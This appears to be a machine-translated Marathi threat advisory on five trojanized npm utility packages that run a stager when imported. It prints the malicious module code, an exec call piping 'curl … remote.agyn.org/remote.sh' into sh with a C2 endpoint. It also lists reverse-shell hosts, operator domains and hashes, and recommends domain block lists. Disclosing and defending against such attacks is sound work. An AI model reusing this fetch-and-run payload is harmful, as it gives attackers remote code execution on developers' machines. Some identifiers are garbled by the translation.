TL; डॉ
एकाच एनपीएम ऑपरेटरने प्रकाशित केले पाच ट्रोजनयुक्त पॅकेजेस तीन दिवसांत दोन फेऱ्यांमध्ये. हे पॅकेजेस लहान टर्मिनल-कलर, लॉगर आणि पोस्टग्रेस-क्लायंट युटिलिटीज असल्याचा आव आणतात. दुर्भावनापूर्ण कोड चालतो. ज्या क्षणी पॅकेज आयात केले जाते पकडण्यासाठी कोणतीही इन्स्टॉल स्क्रिप्ट नाही.
पहिली फेरीneon-terminal, neon-postgres, ne-logger) 2026-07-05 रोजी 14:14 UTC वाजता अप्रकाशित करण्यात आले. चौऱ्याहत्तर मिनिटांनंतर त्याच खात्याने नवीन नावांनी तोच ट्रोजन पुन्हा प्रकाशित केला.agn-terminal, agn-logger) — आणि त्याकडे निर्देशित केले समान कमांड-अँड-कंट्रोल एंडपॉइंट ते यापूर्वी वापरले गेले होते: tracker.bvgroup.co.
तो C2 होस्ट हा एकमेव निर्देशक आहे जो नामांतरानंतरही टिकून राहतो, आणि बचाव करणाऱ्यासाठी शोधण्यासारखी सर्वात जलद गोष्ट आहे. तीव्रता: उच्चपरिसंस्था: npmहे लिहित असताना, दुसऱ्या फेरीतील पॅकेजेस अजूनही उपलब्ध होती.
हल्ला: तो कसा काम करतो
हे पॅकेजेस कार्यात्मक आमिषे आहेत. उघडा एजीएन-टर्मिनल आणि तुम्हाला एक संपूर्ण, कार्यरत ANSI कलर हेल्पर सापडतो — कोड, सपोर्ट्सकलर, रंगीत करणे, रंग — प्रकार आणि README सह. युटिलिटी कोड काम करतो. एंट्री मॉड्यूलच्या सर्वात वर, उपयुक्त कोडच्या वर, काही ओळी आहेत ज्या इम्पोर्ट केल्यावर चालतात.
// agn-terminal 0.1.0 — src/index.js (top of module) import { exec } from "node:child_process"; const child = exec( "curl -fsSL https://remote.agyn.org/remote.sh | " + "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh", {}, (error, stdout, stderr) => {}, ); तीन गोष्टींमुळे हे प्रभावी ठरते.
- ते इंपोर्ट करताना कार्यान्वित होते, इन्स्टॉल करताना नाही. पॅकेज घोषित करत नाही प्रीइन्स्टॉल or पोस्टइंस्टॉल हुक — स्कॅनर आणि समीक्षक सहसा जिथे पाहतात ती जागा. exec 'call' हा मॉड्यूल-स्तरीय कोड आहे. जेव्हा पहिल्यांदा काही घडते तेव्हा तो चालतो. require(“agn-terminal”) or “agn-terminal” आयात कराडेव्हलपरच्या मशीनवर किंवा CI मध्ये. ESM एंट्री (src/index.js) आणि CommonJS एन्ट्री (cjs/src/index.js) एकसारखा पेलोड वाहून नेतात, त्यामुळे दोन्ही मॉड्यूल सिस्टीम समाविष्ट होतात.
- खरा पेलोड पॅकेजच्या बाहेर असतो. पॅकेजमध्ये फक्त एका ओळीचा स्टॅगर पाठवला जातो: fetch `remote.agyn.org/remote.sh` आणि त्याला पाइप करा `sh`. ऑपरेटर विनंतीच्या वेळी त्या URL वरून जे काही देतो, तेच चालते. C2 एंडपॉइंट डाउनलोड केलेल्या स्क्रिप्टला `sh` द्वारे दिला जातो. ट्रॅकर_रिमोट_एंडपॉइंट पर्यावरण व्हेरिएबल, जेणेकरून स्टेज-टू स्क्रिप्ट 'फोन होम' करते ट्रॅकर.बीव्हीग्रुप.को.
- वाहक पॅकेजमुळे स्फोटाची त्रिज्या वाढते. एजीएन-लॉगर हा दुसरा आमिष आहे — एक “लहान जागतिक लॉगर.” त्याच्याकडे स्वतःचा कोणताही पेलोड नाही. त्याचे एंट्री मॉड्यूल एक महत्त्वाची गोष्ट करते:
// agn-logger 0.1.0 — cjs/src/index.js const { colorize, supportsColor } = require('agn-terminal'); ते घोषित करते एजीएन-टर्मिनल एक डिपेंडन्सी म्हणून आणि ते इम्पोर्ट करते. लॉगर इन्स्टॉल किंवा इम्पोर्ट केल्याने टर्मिनल पॅकेज अप्रत्यक्षपणे खेचले जाते आणि कार्यान्वित होते. जो प्रोजेक्ट ट्रोजनचे नाव थेट कधीच घेत नाही, तो सुद्धा लॉगरद्वारे त्याला कार्यान्वित करू शकतो.
इथे नवीन काय आहे
पहिल्या फेरीत रिमोट स्टेजरचा वापर केला गेला नाही. त्यात पेलोड थेट पाठवला गेला आणि प्रत्येक आवृत्तीनुसार तो वाढवला गेला — एका रिलीझमध्ये बॅश रिव्हर्स शेल, नेट.सॉकेट पुढीलमध्ये उलट कवच, एक git add/commit/पुश दुसऱ्यामध्ये पीडिताच्या वर्किंग डिरेक्टरीचे, आणि शेवटी एका पूर्ण HTTP कमांड-अँड-कंट्रोल एजंटमध्ये निऑन-टर्मिनल ०.९.० ज्याने होस्टची नोंदणी केली, कार्यांसाठी पाहणी केली, आणि त्यांना यासह चालवले exec()आणि बेस64-एनकोडेड आउटपुट परत स्ट्रीम केले. दुसऱ्या फेरीत हे सर्व एकाच स्वरूपात एकत्रित केले जाते. कर्ल | शस्टेज दोनला नोंदणीतून पूर्णपणे काढून टाकले आहे. तोच ऑपरेटर, अधिक शांत पॅकेज, अधिक लवचिक पेलोड — आणि, सर्वात महत्त्वाचे म्हणजे, पूर्वीसारखाच C2.
टाइमलाइन
| तारीख (UTC) | कार्यक्रम |
|---|---|
| 2026-07-03 07:03 | पहिली फेरी प्रकाशित: neon-terminal (०.१.० स्वच्छ, नंतर ०.२.०–०.९.० घातक), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal रिअल-टाइम स्कॅनिंगमध्ये ध्वजांकित केले |
| 2026-07-04 | दुर्भावनापूर्ण असल्याचे निश्चित झाले; सहसंबंधामुळे दोन संबंधित पॅकेजेस समोर आली; काढून टाकण्याचे पहिले प्रयत्न दाखल केले आहेत. |
| 2026-07-05 14:14 | पहिली फेरी अप्रकाशित — सर्व आठ neon-terminal आवृत्त्या आणि भावंडे काढून टाकली |
| 2026-07-05 15:28 | agn-terminal 0.1.0 प्रकाशित |
| 2026-07-05 15:29 | agn-logger 0.1.0 प्रकाशित — नवीन टर्मिनल पॅकेजसाठी वाहक |
| २०२६-०७-०५ (सुरू) | हे लिहित असताना, दुसऱ्या फेरीचे पॅकेजेस उपलब्ध आहेत. |
दोन फेऱ्यांमध्ये तीन दिवसांचे अंतर आहे, आणि काढून टाकणे व पुन्हा सुरू करणे यामधील अंतर ७४ मिनिटांचे होते. मोहीम खुली आहे: अग्न-* हे लिहिताना पॅकेजेस काढण्यात आली नव्हती.
तडजोडीचे संकेतक
पॅकेजच्या नावांकरिता लॉकफाईल्स आणि डिपेंडन्सी ट्री शोधा. प्रॉक्सी, डीएनएस, आणि शोधा. ईडीआर नेटवर्क एंडपॉइंट्ससाठी लॉग्स. C2 होस्ट ट्रॅकर.बीव्हीग्रुप.को दोन्ही फेऱ्यांमध्ये समाविष्ट आहे आणि सर्वाधिक मूल्याचा एकल निर्देशक आहे.
पॅकेजेस
| पॅकेज | आवृत्त्या | भूमिका | स्थिती |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | ट्रोजन (इनलाइन पेलोड्स → HTTP C2) | अप्रकाशित |
neon-postgres | 3.5.2 | ट्रोजन (पेलोड मध्ये) src/errors.js) | अप्रकाशित |
ne-logger | 0.7.0 | वाहक (यावर अवलंबून आहे) neon-terminal) | अप्रकाशित |
agn-terminal | 0.1.0 | ट्रोजन (curl | sh स्टेजर) | राहतात |
agn-logger | 0.1.0 | वाहक (यावर अवलंबून आहे) agn-terminal) | राहतात |
निऑन-टर्मिनल 0.1.0 ही एक स्वच्छ आवृत्ती होती — म्हणजेच कोणताही पेलोड नसलेली, कार्यरत कलर लायब्ररी — जी दुर्भावनापूर्ण आवृत्त्या येण्यापूर्वी पॅकेज स्थापित करण्यासाठी प्रकाशित करण्यात आली होती.
नेटवर्क
| दर्शक | संदर्भ |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, दोन्ही फेऱ्या (दुसऱ्या फेरीतील टोकन) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | फेरी-दोन टप्पा-एक लोडर |
reverse.bvgroup.co:443 | पहिल्या फेरीतील रिव्हर्स-शेल एंडपॉइंट (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | पहिल्या फेरीतील उलट कवच (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | पहिल्या फेरीतील उलट कवच (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | ऑपरेटर-नियंत्रित डोमेन |
वर्तणूक
- मॉड्यूल-स्तरीय चाइल्ड_प्रोसेस.एक्झिक्युट युटिलिटी पॅकेजच्या एंट्री फाईलच्या शीर्षस्थानी, दोन्हीमध्ये src/index.js (ईएसएम) आणि cjs/src/index.js (सीजेएस).
- A curl -fsSL … | sh C2 द्वारे पास केलेले एक-ओळीचे वाक्य ट्रॅकर_रिमोट_एंडपॉइंट पर्यावरण चल.
- दुसरे “युटिलिटी” पॅकेज जे पहिल्याला डिपेंडन्सी म्हणून घोषित करते आणि त्याला इम्पोर्ट करते, स्वतःचा कोणताही पेलोड न ठेवता.
- उरलेले // निऑन-टर्मिनल सर्वात वर टिप्पणी एजीएन-टर्मिनल — रीब्रँडला मूळशी जोडणारा कॉपी-पेस्ट केलेला एक अवशेष.
फाईल हॅश (SHA-256, दुसरी फेरी)
- एजीएन-टर्मिनल src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- एजीएन-टर्मिनल cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- एजीएन-लॉगर src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
गुणधर्म आणि निरीक्षण केलेले वर्तन
प्रत्येक पॅकेज एका npm खात्याशी जोडलेले असते. vitalii-agynअपुष्ट ईमेल आयडी अंतर्गत प्रकाशित करत आहे vitalii@agyn.ioखात्याच्या स्वतःच्या रजिस्ट्री मेटाडेटामध्ये, पहिल्या फेरीतील तिन्ही पॅकेजेस त्याच्याद्वारे सांभाळली जात असल्याचे नमूद केलेले असते. पायाभूत सुविधा या फेऱ्यांना एकत्र जोडते: डोमेन. agyn.org प्रकाशकाशी जुळते agyn.io ईमेल डोमेन आणि C2 होस्ट ट्रॅकर.बीव्हीग्रुप.को दोन्हीमध्ये दिसते निऑन-टर्मिनल 0.9.0 आणि एजीएन-टर्मिनल ०.१.० — नामांतरानंतर तोच कलेक्टर पाथ जसाच्या तसा पुन्हा वापरण्यात आला आहे.
आम्ही अवशेष काय दर्शवतात याचे वर्णन करतो आणि तिथेच थांबतो. प्रकाशकाने दिलेला ईमेल आहे... vitalii@agyn.ioआम्ही त्या पत्त्याच्या मालकीची पडताळणी केलेली नाही, आणि आम्ही ते खाते कोणत्याही विशिष्ट व्यक्ती किंवा गटाशी जोडत नाही. दोन पॅकेज फॅमिलींमध्ये एकाच C2 एंडपॉइंटचा पुनर्वापर हा एकाच ऑपरेटरचा स्पष्ट संकेत आहे, ओळख नव्हे.
पहिल्या टप्प्यातील पॅकेजेस ब्रँडच्या सान्निध्यावर भर देत होती. निऑन-पोस्टग्रेस पोर्साजरच्या मोठ्या प्रमाणावर वापरल्या जाणाऱ्याचा पूर्ण क्लोन होता पोस्टग्रेस.जेएस क्लायंट, टॅगलाइन आणि सर्व काही, पेलोड आत व्यवस्थित ठेवून src/errors.js त्यामुळे एक नेहमीचा आयात मार्ग तिथे पोहोचेल — आणि निऑन- हा उपसर्ग सर्व्हरलेस पोस्टग्रेस प्रदाता असलेल्या निऑनची ओळख वापरतो. दुसऱ्या फेरीतील नावांनी हे बनावटपण सोडून दिले आणि ती सामान्य झाली.एजीएन-टर्मिनल, एजीएन-लॉगर), ब्रँडची प्रतिष्ठा पणाला लावून, बदनाम झालेल्या नावांपासून अधिक स्वच्छपणे फारकत घेण्याचा प्रयत्न.
परिणाम, कल आणि संरक्षक मार्गदर्शन
- कोण धोक्यात आहे. जो कोणी युनिक्स-सारख्या होस्टवर, थेट किंवा कॅरियरमार्फत, यापैकी एक पॅकेज इन्स्टॉल आणि इम्पोर्ट करतो. स्टेजर वापरतो केस कुरळे करणे आणि shगोल-एक कवच वापरतात बाश आणि /dev/tcpइंपोर्टच्या वेळीच एक्झिक्युशन होत असल्यामुळे, डिपेंडन्सी इन्स्टॉल करणारा आणि तिच्याशी संबंधित कोणताही कोड चालवणारा बिल्ड सर्व्हर पुरेसा आहे — इन्स्टॉलेशननंतरच्या कोणत्याही पायरीची आवश्यकता नाही. डेव्हलपर वर्कस्टेशन किंवा सीआय रनरवर, डाउनलोड केलेला स्टेज टू युझरच्या विशेषाधिकारांसह आणि संपूर्ण नेटवर्क रेंजसह चालतो.
- इम्पोर्टच्या वेळी अंमलबजावणी का महत्त्वाची आहे. पुरवठा साखळीतील संरक्षणाने इन्स्टॉल स्क्रिप्ट्सवर लक्ष केंद्रित केले आहे, आणि ते योग्यच आहे — पोस्टइन्स्टॉल हा एनपीएमचा (npm) पाय रोवण्याचा एक पारंपरिक मार्ग आहे. ही मोहीम ते पूर्णपणे टाळते. यात फ्लॅग करण्यासाठी कोणताही इन्स्टॉल हुक नाही. दुर्भावनापूर्ण कोड हे एक सामान्य मॉड्यूल आरंभीकरण आहे, जे लोड होताना पॅकेजद्वारे लुकअप टेबलची गणना करण्यापासून वरवर पाहता वेगळे ओळखता येत नाही. केवळ package.json मधील स्क्रिप्ट्सची तपासणी करणाऱ्या टूलिंगला काहीही दिसत नाही.
- पुनर्ब्रँडिंग आणि पुनर्वापर करण्याचा ट्रेंड. ७४ मिनिटांत झालेला हा जलद बदल हीच खरी कहाणी आहे. टेकडाउनने नावे काढून टाकली, पण ऑपरेटर, पायाभूत सुविधा किंवा कोड नाही. एका तासाच्या आत, त्याच C2 कडे निर्देश करणाऱ्या नवीन नावांसह मोहीम पुन्हा सुरू झाली. नावावर आधारित ब्लॉकिंग — 'neon-terminal' ला डिनायलिस्ट करणे — तोपर्यंत कालबाह्य झाले असते. पायाभूत सुविधांवर आधारित ब्लॉकिंग — 'bvgroup.co' ला डिनायलिस्ट करणे — दुसऱ्या फेरीला येताच रोखू शकले असते. रजिस्ट्री काढून टाकण्यापेक्षा अधिक वेगाने पुन्हा प्रकाशित करणाऱ्या कार्यरत ऑपरेटरसाठी, टिकाऊ निर्देशक हा पॅकेजचे नाव नसून नेटवर्क एंडपॉइंट असतो.
आता काय करायचं
- वरील पाचही पॅकेज नावांकरिता लॉकफाईल्स आणि इन्स्टॉल्ड ट्रीज शोधा. जुळणाऱ्या कोणत्याही नावाला हॅक झालेला होस्ट समजा आणि त्यावरून पोहोचता येणारी क्रेडेन्शियल्स बदला.
- डोमेनवर ब्लॉक आणि अलर्ट करा bvgroup.co, agyn.orgआणि DNS व इग्रेस फिल्टरिंगमधील ngrok एंडपॉइंट्स. ट्रॅकर.बीव्हीग्रुप.को प्राधान्य आहे.
- केवळ इन्स्टॉल-हुक स्कॅनिंगवर अवलंबून राहू नका. मॉड्यूल-स्तरावरील तपासणीची सोय करा. बाल_प्रक्रिया आणि अवलंबित्वमधील नेटवर्क कॉल्स, आणि साठी कर्ल … | श पॅकेज सोर्समधील पॅटर्न.
- एखादे युटिलिटी पॅकेज, जे दुसऱ्या एखाद्या अज्ञात युटिलिटीला आपले एकमेव अवलंबित्व म्हणून घोषित करते आणि लोड होताना तिला आयात करते, त्याकडे पुन्हा एकदा लक्ष देण्यासारखे आहे असे समजा.
- CI मध्ये, प्राधान्य द्या स्क्रिप्ट्सकडे दुर्लक्ष करा जिथे शक्य असेल तिथे, पण हे लक्षात घ्या की इथे त्याचा उपयोग होत नाही — पेलोड इम्पोर्टच्या वेळी चालतो, त्यामुळे रनटाइम इग्रेस नियंत्रणे आणि डिपेंडन्सी रिव्ह्यू अधिक महत्त्वाचे आहेत.
संदर्भ
- निऑन सर्वरलेस पोस्टग्रेस — ब्रँड निऑन-* नावे ओळख मिळवण्यासाठी इतरांकडून उधार घेतात.
- पोर्साजर पोस्टग्रेस.जेएस — ग्राहक निऑन-पोस्टग्रेस क्लोन केलेले.





